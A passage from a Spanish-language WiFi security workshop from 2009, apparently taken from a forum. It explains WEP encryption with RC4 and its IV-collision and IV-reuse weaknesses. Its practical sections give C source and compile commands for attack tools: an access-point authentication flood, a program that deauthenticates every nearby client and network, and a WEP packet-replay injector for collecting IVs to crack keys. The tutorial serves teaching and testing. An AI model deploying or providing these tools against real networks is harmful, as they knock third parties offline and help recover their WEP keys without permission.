De los cuales slo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados. Segn esta afirmacin podramos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a) Esto quiere decir que si utilizamos el mismo IV y los mismos datos a transmitir el ICV ser siempre el mismo. Tambin, quiere decir que si usamos diferentes IVs y los mismos datos a transmitir, el ICV tambin debera se el mismo para todos los paquetes si haces la prueba vers que NO es as. Es cierto que para un mismo IV y mismos datos a trasmitir, el ICV es el mismo pero si el IV "cambia" aunque los datos a transmitir sean los mismos, el ICV TAMBIN cambia. Bueno, pues no alarguemos mucho mas esto. La solucin correcta es la c) El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusin. Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:
Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dar como resultado un byte cifrado. Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4 Tambin hay que aadir que se si se utilizase un sistema de autenticacin, habra cambios en la cabecera MAC puesto que se cifrara con la clave compartida quedara as:
De momento nos vamos a olvidar de los sistemas de autenticacin, daremos por hecho que el sistema es abierto y cifrado con WEP. Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cmo lo aplica WEP.
Algoritmo RC4
Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA. Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se invent (all por el ao 1987) hasta el da de hoy no ha sido liberado su cdigo parece ser que 7 aos despus de su creacin, apareci el cdigo fuente publicado en una lista de correo, y es con esta "liberacin forzada" por lo que conocemos el funcionamiento del mismo. RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano
30/10/2011
Page 38 of 94
usando la funcin XOR. Es un cifrado simtrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo nmero de bytes cifrados que los existentes en el texto plano (no te olvides que hay que aadir el CRC32 como parte del texto a cifrar) Por eso se llama de "flujo", el tamao del texto cifrado es idntico al tamao del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques. El motivo de utilizar RC4 en WEP es por su simplicidad de clculo en los procesos, si las redes inalmbricas ya tienen que competir con los esfuerzos de una transmisin rpida, colisiones, acceso compartido al medio, etc.. si le aadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse o que genere un tamao de texto cifrado mucho mas grande, la comunicacin sera muy lenta. Cmo funciona WEP * Utiliza RC4 para el cifrado de datos+CRC32 * Uso llaves de 64,128,256 bits. * Estas llaves se genera a partir de una passphrase automticamente. * La llave o passphrase deben conocerla todos los clientes Generacin de llaves: Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV Pongamos un ejemplo para claves de 40 bits. Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0
Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes: (#) (#) Cdigo: 63 XOR 75 XOR 75 XOR 70 XOR 72 XOR 69 XOR 72 XOR 70 XOR
69 XOR 30 6D 69 78
= = = =
3F 68 72 7A
Esta semilla (3F 68 72 7A) la usar PRGN (un generador de nmeros pseudoaleatorios) para generar 40 cadenas de 32 bits que a su vez se escoger un bit para generar 4 llaves de 40 bits, de las que habitualmente slo usaremos una de ellas. Esta ser la clave WEP a utilizar. Esto es lo que llamaremos ms adelante KSA + PRGN. De estos valores KSA y PRGN, se consigue el IV al que se le aade el "key index" (nmero de clave que est siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano. De nuevo una figura es "ms cmodo" para entenderlo:
30/10/2011
Page 39 of 94
Para descifrar el paquete recibido: El receptor extrae el IV que se enva inmediatamente despus de la cabecera MAC. Examina el "key index" y escoge la clave apropiada. Como "conoce" la clave secreta , el key index de la llave escogida y el IV, puede generar su propio keystream. Realiza una operacin XOR entre los datos recibidos y el keystream calculado, de tal forma que obtiene los datos en plano. Calcula el CRC32 de los mismos y lo comprueba haciendo tambin un XOR del ICV recibido con el keystream de los bytes correspondientes. Si el CRC32 concuerda, procesa los datos, en caso contrario los descarta. De esto desprendemos que: (#) (#) Cdigo: Texto plano XOR texto cifrado = keystream
Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro pero ya veremos mas adelante que esto es muy til.
SNAP y LLC
Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se enva tras realizar las operaciones con RC4, keystream, llaves, etc..) Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva lo que se llama la subcapa LLC SNAP. Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos". El estndar dice que deben comenzar por 0xAA, en la prctica y siguiendo con el caso de las redes inalmbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores: AA AA 03 00 00 00; 6 bytes para comunicaciones sin el protocolo Spanning-tree (usado para evitar bucles de conmutacin en topologas fsicas redundantes, como por ejemplo una red en malla.) 42 42 03 00 00 00: 6 bytes para las comunicaciones en los que Spanning-tree est activado. Puedes averiguar mas informacin acerca de la subcapa LLC y SNAP en: http://es.wikipedia.org/wiki/IEEE_802.2 (http://es.wikipedia.org/wiki/IEEE_802.2) O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo as:
30/10/2011
Page 40 of 94
(#) (#) Cdigo: 08 06 00 01 08 00 06 04 00 02 (esto es un ARP Response)
Realmente se envan: (#) (#) Cdigo: AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 02 (esto es un ARP Response)
A decir verdad, lo que sera la cabecera SNAP/LLC sera (para este ejemplo): (#) (#) Cdigo: AA AA 03 00 00 00 08 06
Y los datos: (#) (#) Cdigo: 00 01 08 00 06 04 00 02 ...
Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usar, ARP, IP, etc..) Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!! Ejemplo de la captura de un esnifer de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)
Ejemplo de la captura de un esnifer de un paquete ARP REQUEST junto con la cabecera SNAP (paquete capturado desde una interface 802.11)
Como ves en la pantalla anterior, LLC se antepone a los datos a enviar. Bueno, y al margen de WEP, hay que sealar una cuestin especial No ves nada "extrao" en esta captura? Seguro??? Fjate bien Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc (lo que llamamos la cabecera MAC) y segn la captura anterior, y si observas bien la pantalla, vers que ANTES de la encapsulacin IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header
30/10/2011
Page 41 of 94
Y si te fijas an mas, veras que es en la posicin 0x40 donde realmente comienza el FC y la cabecera MAC. Qu son los 0x40 (64 bytes) anteriores?? Esto nos ocurrir cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi aaden una cabecera propia de 64 bytes a toda la trama Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posicin +64 bytes del paquete mientras que si no usamos Prism, comienza el la posicin +0. Podemos resolverlo de un plumazo. (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc ejecutamos esto: (#) (#) Cdigo: iwpriv set_prismhdr 0
Desactivamos las cabeceras prism...
Ahora ya no aparece eso del AVS WLAN Monitoring y la cabecera MAC comienza en la posicin cero como hemos venido estudiando.
Autenticacin con WEP:

El proceso de autenticacin precede al de envo de datos, antes de poder enviar informacin por la red debemos estar autenticados y asociados Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticacin es as: Cuando una estacin trata de conectarse con un punto de acceso, ste le enva un texto aleatorio, que constituye el desafo (challenge). La estacin debe utilizar la copia de su clave secreta compartida para cifrar el texto de desafo y devolverlo al punto de acceso, con el fin de autenticarse. El punto de acceso descifra la respuesta utilizando la misma clave compartida y compara con el texto de desafo enviado anteriormente. Si los dos textos son idnticos, el punto de acceso enva un mensaje de confirmacin a la estacin y la acepta dentro de la red. Si la estacin no dispone de una clave, o si enva una respuesta incorrecta, el punto de acceso la rechaza, evitando que la estacin acceda a la red. En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y
30/10/2011
Page 42 of 94
lo que recibamos tampoco "lo entenderemos" puesto que est cifrado.
Resumen:
1) El cliente escoge la clave WEP para acceder a la red con la que se quiere asociar 2) Se genera un IV (Vector de Inicializacin) "aleatorio" 3) Se aade es IV inmediatamente despus de la cabecera MAC 4) se combina el IV con la clave wep elegida y se cifran mediante RC4, 5) se obtiene un keystream resultante del cifrado con RC4 6) Se toman los datos a enviar en texto plano, anteponiendo SNAP y calculando un CRCR32 de todo (LLC+SNAP+Datos) 7) se realiza una operacin XOR entre el keystream obtenido en el paso 5) y los datos en texto plano del paso 6) y el resultado se aade a continuacin del IV en la trama de datos. 8) El CRC de 32 bits dar como resultado un ICV (Control o Comprobacin de Vector de Inicializacin) 9) Se aade ese ICV al final del paquete y se termina con la construccin del paquete cifrado de datos.
Un par de ejemplos de Denegacin de Servicio con WEP.

Antes de ponernos a analizar "ms afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dnde vienen los tiros El primero es un ataque de Denegacin de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aqu vamos a "probar" nuestros puntos de acceso y/o routers inalmbricos. El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance.
Probando la resistencia de un punto de acceso.

Como ya he dicho, esto puede ser una prueba til para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos La idea es muy simple, si usamos una autenticacin abierta, ya hemos comentado en la parte de teora que nos podemos autenticar Hasta aqu todo bien pero y si en lugar de autenticar una estacin (una MAC) autenticamos. 5000, 10000. En unos segundos??? Pues esto es lo que hace este pequeo programita autenticar cientos de estaciones por segundo, el resultado final ser un consumo excesivo de los recursos del punto de acceso o router inalmbrico y denegacin de servicio al canto.
30/10/2011
Page 43 of 94
En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domsticos podemos dejar sin comunicacin no slo a los clientes inalmbricos, tambin a los de cable, Internet, etc Como siempre en el cdigo fuente del programa he intentado explicar con detenimiento todo el proceso: Como en los otros ejercicios, se utiliza la funcin send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos La parte que nos interesa es esta: (#) (#) Cdigo: ... ... unsigned int mac_ap[6]; //mac_ap es la mac del AP y mac_cli la mac de la vctima unsigned char DoS_AP[30]; // Solicitamos la entrada de MAC's por pantalla printf ("\nEscribe la MAC del Punto de Acceso ----------------> "); scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap [2],&mac_ap[3],&mac_ap[4],&mac_ap[5]); /***************************************/ /* Construimos la trama de Autenticacin */ /***************************************/ // FRAME CONTROL bytes 0 y 1 DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!! DoS_AP[1]=0x00; // DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01 DoS_AP[2]=0X30; DoS_AP[3]=0X01; // MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9) for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z]; // MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15) for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF; DoS_AP[10]=0x00; // MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21) for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];
30/10/2011
Page 44 of 94
// Nmero de Fragmento y nmero de secuencia bytes 22 y 23 DoS_AP[22]=0x10; DoS_AP[23]=0x00; DoS_AP[24]=0x00; DoS_AP[25]=0x00; // Nmero de Secuencia de la Autenticacin (por ejemplo, 02 00) DoS_AP[26]=0x02; DoS_AP[27]=0x00; // Razn y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!! DoS_AP[28]=0x00; DoS_AP[29]=0x00;
// Mostramos en pantalla la trama a enviar printf ("\nTrama a enviar" "\n***** * ******\n"); dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
// Comenzams el ataque DoS contra el AP. z=1; while(1) { printf ("\rEnviando trama nmero %i \r",z); fflush( stdout ); z++; send_packet(DoS_AP,30); //Enviamos paquete usleep(50000); //Se espera 50mil ms, se enviarn unos 200 paq. x segundo //con mac's aleatorias.... en 5 segundos el AP recibir //1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento //y transcurridos unos segundos mas => todas las estaciones tambin fuera // Generamos una nueva MAC aleatoria for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
30/10/2011
Page 45 of 94
DoS_AP[10]=0x00; // N Secuencia aleatorio para h80211 DoS_AP[22]=rand() & 0xFF; DoS_AP[23]=rand() & 0xFF; // N Secuencia Aleatorio para solicitud de autenticacion DoS_AP[26]=rand () & 0xFF; DoS_AP[27]=rand () & 0xFF;
} .... ....
Es interesante que te des cuenta como se construyen las tramas de autenticacin El cdigo completo lo encontrars aqu: http://www.megaupload.com/?d=DQ5DD6YS (http://www.megaupload.com/?d=DQ5DD6YS) Y como siempre, para no tener problemas de compilacin lo guardamos junto con el cdigo fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o dosAP dosAP.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep -lssl lcrypto
Denegacin de Servicio a TODAS las Redes y TODOS los clientes.

Al programita en cuestin le llam dosLOCO.c, por aquello de que es una locura... De lo que se trata es de capturar un paquete de datos cualquiera, de cualquier cliente de cualquier red, y proceder a una desautenticacin, primero del cliente "descubierto" y luego de todos (al broadcast) As continuamente, cada vez que interceptemos cualquier paquete de datos, enviamos desautenticaciones a ese cliente y luego a todo el mundo... vamos que todo lo que est "a tu alrededor" se desautentica... una maldad como dije. Podramos incluir "listas blancas" para no desautenticar a los que queramos... pero bueno, no
30/10/2011
Page 46 of 94
importa el programa en s mismo, interesa como capturar y colocar las mac's en el orden adecuado dentro de la trama a enviar. Recuerdas la parte terica donde hablbamos de "la danza de las macs" que dependiendo de si es un dato toDS o FromDS se intercambian mac origen y mac destino??? Pues en este ejemplo lo descubrimos y utilizamos, concretamente en esta parte del cdigo: (#) (#) Cdigo: ... ... if (h80211[1] % 3 ) == 3) continue; // Es un paquete WDS. no interesa. leer otro switch( h80211[1] & 3 ) { case 0: // es ad-hoc memcpy (bssid,h80211+4,6); memcpy (origen,h80211+10,6); memcpy (destino,h80211+16,6); break; case 1: // es ToDS
memcpy (bssid,h80211+4,6); memcpy (origen,h80211+10,6); memcpy (destino,h80211+16,6); break; case 2: // es FromDS
memcpy (destino,h80211+4,6); memcpy (bssid,h80211+10,6); memcpy (origen,h80211+16,6); break; } if (origen[0] == 0xFF) memcpy (mac_victima, destino, 6); if (destino[0] == 0xFF) memcpy (mac_victima, origen, 6); ... ... Como ves analizamos el segundo byte del Frame Control (recuerda que se empieza a contar desde cero, el cero es el primero y el uno el segundo) De esta forma, sabemos colocar las macs dentro de la trama de datos a enviar, no vaya a ser que enviemos desautenticaciones a quien no debemos.
30/10/2011
Page 47 of 94
Para comprobar si es broadcast asumimos que si el primer byte de la mac (origen o destino) es FF se trata de un broadcast, ciertamente deberamos de comprobar los seis, pero con esto vale. El resto del programa no debera ofrecer ningn problema de entendimiento despus de todas las explicaciones que llevamos y de los otros cdigos. Lo puedes descargar de aqu: http://www.megaupload.com/?d=OIS2LVIT (http://www.megaupload.com/?d=OIS2LVIT) Y para compilarlo, como de es habitual, lo guardamos en el directorio fuente de aircrack y: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o dosLOCO dosLOCO.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude dosLOCO.o common.o crypto.o -o dosLOCO -Losdep -losdep lcrypto
-lssl -
Vale, ahora vamos a descubrir las vulnerabilidades WEP, daremos un reapaso a todas las conocidas y haremos ejemplos de estas: Reinyeccin de trfico (ya veris que inyecta muy, muy, muy deprisa). Ataque WEP de texto plano. Consiste en obtener keystream "a medida" para que luego podamos inyectar cualquier paquete en la red sin conocer la clave, envenenar la cach arp de los clientes, cambiar puertas de enlace, manipular dns, lo que se nos ocurra, y con cualquier herramienta, es decir, desde un escaner de puertos hasta un simple ping, sin necesidad de depender de aircrack o similares. Decodificacin de paquetes. Mediante una tcnica conocida como Ataque Inductivo seremos capaces de descifrar el contenido de cualquier paquete de datos cifrado con WEP sin conocer la clave. Adems tambin podremos generar keystream para enviar paquetes "mal intencionados" a la red como en el caso anterior. Un detector de ataques. Como no todo es atacar y atacar, tambin construiremos un pequeo sistema de alertas que nos avise de estos ataques.
Pero, hasta entonces un respiro y maana al tajo. Arriba (#top)

Mi Jul 29, 2009 1:18 am
VULNERABILIDADES WEP. Parte I. Teora (#p56264)
VULNERABILIDADES WEP. Parte I. Teora

Colisiones IV
La primera vulnerabilidad que vamos a comentar es la que se conoce como IV Collision (Colsiones
30/10/2011
Page 48 of 94
del IV) Como hemos comentado, el IV es un valor de 24bits y aunque parezca un valor bastante grande: 2^24 = 16.777.216 vectores de inicializacin, en la prctica no lo es tanto. Supongamos una red cuya tasa es de 11mbps transmitiendo tramas de datos de 1500 bytes. (#) (#) Cdigo: 11.000.000 mbps / (1.500 * 8 bits ) = 91667 paquetes por segundo.
Si dividimos el n total de IVs entre los paquetes x seg. De la frmula anterior: (#) (#) Cdigo: 16.777.216 IVs / 91667 paq. X seg = 18.302 seg (aproximadamente) 18.302 segundos en horas: 18.302 / 3600 = 5 horas (aproximadamente)
Estamos asumiendo que slo existe una sola estacin en la red y que el IV se va incrementando en una unidad por cada paquete enviado, que se hecho es as en la mayora de los casos. Podras pensar que el IV, en lugar de incrementarse de uno en uno, sera mas seguro que lo hiciese aleatoriamente.. pues no... Existe un anlisis denominado paradoja de cumpleaos, esto viene a decir que: si juntamos a 23 personas en una misma habitacin, existe mas de un 50% de probabilidades que dos de ellas coincidan en el da y mes de nacimiento. Si en lugar de 23 personas, reunimos a 50, las probabilidades de que dos de ellas coincidan en mes y da suben al 97% y si en lugar de reunir a 50, reunimos 60... la probabilidad es de mas del 99%!!!! Aplicando la paradoja de cumpleaos al uso aleatorio de IVs resulta que tras el envo de unos 4800 paquetes de datos existe una probabilidad cercana al 60% de que se repitan, por ello es preferible que los IVs se vayan incrementando en una unidad que se escojan de forma aleatoria. Cuando dos paquetes diferentes, con sus ICVs diferentes se repiten, tenemos una colisin de IV. Y??? Pues que si dos contenidos diferentes arrojan el mismo IV y si un atacante conoce el valor del texto plano de uno de los dos mensajes, se puede obtener el contenido del texto plano del otro mensaje con una simple operacin XOR. Pongamos un ejemplo muy sencillo, de un solo byte para no complicarlo mucho.
El atacante adivina, intuye o est completamente seguro de que el valor en texto plano de mensaje B es R (0x52), para conseguir adivinar el valor en texto plano del mensaje A:
30/10/2011
Page 49 of 94
Como el IV es el mismo para ambos mensajes cifrados, podemos obtener un keystream provisional haciendo un simple XOR entre los valores del texto cifrado de ambos mensajes:
Si ahora aplicamos este keystream al valor de texto plano del mensaje B (que suponemos o sabemos que es 0x52) nos dar el valor del texto plano para el mensaje A:
De este modo podemos descifrar un mensaje sin conocer la clave WEP. Ya... lo s... ests murmurando que Claro, esto si sabemos el texto plano de uno de los dos mensajes, cmo vamos a saber eso!!!???? Pues como veremos un poquito mas adelante, existen muchas formas, una de ellas es enviar paquetes desde la red cableada a la red inalmbrica (siempre y cuando estemos enchufados en la misma red, claro), otra es por el tamao de los paquetes capturados, o por pura intuicin (y algo de suerte, todo sea dicho) Otra forma es aprovechar el uso de vectores de inicializacin con contadores pequeos Hemos dicho que lo mas habitual es que a medida que se van transmitiendo paquetes de datos, las estaciones incrementan en uno el IV (para soslayar el tema de la paradoja de cumpleaos), cuando llega la cuenta al final, empiezan de nuevo desde el nmero uno y as cada vez. Y se puede forzar que vuelvan de nuevo a la cuenta desde cero en un momento determinado??? Pues s, las estaciones ponen el contador de IVs a cero cuando: Se reinicia el sistema operativo Se desactiva la tarjeta de red y se vuelve a activar Cuando se desautentican y vuelven a autenticarse El tercer caso es el mas asequible para un atacante si provocamos un DoS al cliente o al punto de acceso, cuando vuelva a reasociarse el contador de IVs volver a contar desde cero. Y??? Pues que cuando un cliente se asocia, los primeros paquetes que enva suelen ser del tipo DHCP Discover, DHCP Request, etc Tambin ARP request y ARP Response. Este tipo de paquetes son bien conocidos en su encapsulacin, suelen tener un tamao fijo y son fcilmente predecibles. Por tanto, el atacante, puede imaginar el contenido de casi todo el paquete en texto plano, si provoca un DoS en repetidas ocasiones y captura los datos cifrados, como los IVs comenzarn de nuevo desde cero, podr usar la tcnica anteriormente descrita para descifrarlos. Adems, una vez que hemos descifrado un paquete completo o semicompleto, ya podemos obtener el verdadero keystream usado por la clave wep, con este keystream se puede descifrar cualquier otro paquete de datos siempre que se repita el IV. Bueno, esto slo es terico, ya veremos que usando esta misma tcnica lo conseguiremos en la
30/10/2011
Page 50 of 94
prctica. Y mas.., en la observacin de IVs duplicados se basan algunos de los ataques estadsticas para obtener la clave WEP (he dicho la clave, no el keystream, y con la clave ya podemos participar de la red)
Reutilizacin de IVs.
Quizs este sea uno de los mayores problemas de WEP, no existe un control sobre aquellos IVs que ya fueron utilizados y se permite reusar el mismo IV tantas veces como se quiera. Con la reutilizacin de los IVs podemos inyectar paquetes sin mas, no hace falta conocer NADA del texto plano ni del keystream. A continuacin voy a poner dos cdigos de ejemplo que nos servirn para la reinyeccin de trfico. El primero no es nada sofisticado, sencillamente se limita a capturar un paquete de datos de una red y reinyectarlo indefinidamente (bueno, ciertamente puse un contador para que pare cuando llegue a 100 mil paquetes). Como es poco sofisticado, no sabemos a ciencia cierta qu demonios estamos inyectando... si tenemos suerte y se trata de un paquete de datos que requiere respuesta por el destino, perfecto!!! Tendremos un bonito inyector de trfico que generar muchos IVs de respuesta y por anlisis estadstico se podr recuperar la clave WEP. Si por el contrario, (como no es sofisticado, est tomando el primero que encuentra) resulta que el paquete elegido es un paquete del que no se espera resupesta alguna, pues s veremos que inyectamos paquetes, el trfico subir, pero el IV es siempre el mismo por lo que sern de poca calidad y aunque obtengamos miles de IVs no seremos capaces de recuperar la clave WEP. Por ello, los mejores candidatos a re-inyectar son paquetes del tipo: TCP-SYN (al recibirlo el destino, responder con un TCP SYN-ACK generando un nuevo IV para cada SYN que enviemos) PING, los echo request de ICMP, lo mismo de antes, el receptor responder con su pong (echoreply) y por cada ping enviado generar un nuevo ICV en la respuesta pong. ARP Request, las solicitudes ARP son de las mejores, son paquetes pequeos, sencillos de manejar, de tamao fijo y recibirn una respuesta (ARP response) del receptor, que como en los casos anteriores se generarn miles de IVs diferentes por cada respuesta y tendremos base estadstica para descubrir la clave. Paquetes que no son muy tiles para la reinyeccin (hay muchos, slo pongo algunos ejemplos) TCP RST un cierre de conexin no recibe respuesta TCP FIN, idem de antes Casi todos los paquetes UDP excepto unos pocos Casi todas las respuestas (en general) un ARP response no genera trfico nuevo, una respuesta
30/10/2011
Page 51 of 94
de una pgina WEB, una respuesta a un ping, etc esos no son buenos candidatos para la reinyeccin. Adems, reinyectar paquetes TCP (y por consiguiente el resto de los protocolos subyacentes, http, FTP, etc) es delicado puesto que como ya debemos saber, TCP mantiene un control de la conexin, un checksum de IP y de TCP, un numero de secuencia, etc por lo que si repetimos dos veces un paquete TCP es muy probable que el destino lo descarte en silencio y no enve respuesta alguna, con lo que nuestra reinyeccin ser pobre. El segundo cdigo es ms efectivo y obtendremos una inyeccin muy rpida y eficaz, al tiempo. Se basa en el descubrimiento de paquetes que s esperan respuesta del receptor de los mismos. Por su sencillez y fcil generacin lo haremos con paquetes del tipo ARP. Arriba (#top)
Mi Jul 29, 2009 1:20 am
VULNERABILIDADES WEP. Parte I. Prctica (1) (#p56265)
VULNERABILIDADES WEP. Parte I. Prctica (1)

Reinyeccin de trfico. Ejemplo 1. Programa rebote.c
Bien, pues vamos al primero, lo he llamado rebote.c y simplemente se pone a escuchar una red (se le pasa por teclado el BSSID del Punto de acceso) y cuando captura un paquete de datos se pone como un loco a repetirlo... Observa en el cdigo de mas abajo que se comprueba si la mac del punto de acceso aparece en "cualquier posicin" de la cabecera 802.11 se procede a la comparacin, es decir, si la mac del punto de acceso es origen, destino o bssid. (3 bucles for son los que lo controlan) El cdigo de este ejemplo aqu: http://www.megaupload.com/?d=L55EAI9C
(http://www.megaupload.com/?d=L55EAI9C)
Lo guardas en el directorio de las fuentes de aircrack con el nombre rebote.c Y lo compilamos: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o rebote rebote.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep -lssl lcrypto
Como ya he dicho, si hay suerte y se trata de un paquete del que se espera respuesta, pues mejor, si no, aunque envies millones de paquetes los IVs no sern efectivos para recuperar la clave wep.
30/10/2011
Page 52 of 94
Este sencillo programa utiliza las funciones (estas tres ya deben ser mas que conocidas a estas alturas) read_packet para leer los paquetes send_packet para enviar (reinyectar en este caso) el paquete capturado dump_packet para ver el paquete que estamos inyectando. Y las que nos interesan de verdad para el ejemplo, son las funciones: rebote_datos que es la funcin encargada de la reinyeccin main, pues eso, donde comienza todo. Funcin main (#) (#) Cdigo: int main( int argc, char *argv[] ) // inicio del programa { unsigned int bssidAP[6]; //Comprueba el paso de parmetros if( argc != 2 ) { printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n"); exit( 0 ); } /* Abrir Interface wifi para enviar/recibir trfico */ opt.iface_out = argv[1]; _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); _wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); wi_get_mac(_wi_out, dev.mac_out); /* drop privileges */ setuid( getuid() ); printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> "); scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP [2],&bssidAP[3],&bssidAP[4],&bssidAP[5]); rebote_datos(bssidAP); return( 0 ); }
Esto ya es habitual en todo este taller, prepara la interface wifi que usaremos, verifica el paso de parmetros, pide por teclado que le indiquemos un bssid (en formato xx:xx:xx:xx:xx:xx) y
30/10/2011
Page 53 of 94
ese valor tecleado lo pasa como parmetro a la funcin rebote_datos Contenido de la funcin rebote_datos (#) (#) Cdigo: int rebote_datos(unsigned int bssidAP[6]) // { int n, z, caplen; long nb_pkt_read; int esmiap; unsigned char macAP[6]; nb_pkt_read = 0; printf ("\n**** Esperando un paquete de datos con destino a "); for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);} printf ("\n\n"); while(1) // mientras no se hayan capturado datos interesantes { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); printf ("\rLeyendo paquete nmero %ld \r", nb_pkt_read); fflush (stdout); nb_pkt_read++; usleep(1800); if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro. if ((h80211[0] & 0x0C) != 0x08) continue; paquete de datos, leer otro //Si no es un
esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado for (z=0;z<6;z++) if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC // si alguno de los bytes del bssid leido es // diferente a los tecleados, el paquete no vale // y se debe leer otro nuevo for (z=0;z<6;z++) if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC // si alguno de los bytes del bssid leido es // diferente a los tecleados, el paquete no vale // y se debe leer otro nuevo for (z=0;z<6;z++) if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
30/10/2011
Page 54 of 94
// si alguno de los bytes del bssid leido es // diferente a los tecleados, el paquete no vale // y se debe leer otro nuevo
if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!! break; // hacemos break para salir del while!!!
} // fin de while y captura de paquetes /* Parece que tenemos un Candidato */ printf ("\nPaquete a enviar"); printf ("\n****************\n"); dump_packet (h80211, caplen); printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS."); printf ("\nEjecuta airodump para capturar el trfico inyectado\n\n"); sleep(10); /* Inyectar 100.000 paquetes de datos */ for (n=0;n<100000;n++) { send_packet (h80211, caplen); printf ("\rEnviando paquete nmero %i de %i bytes \r", n,caplen); fflush (stdout); usleep(1800); } return(0); }
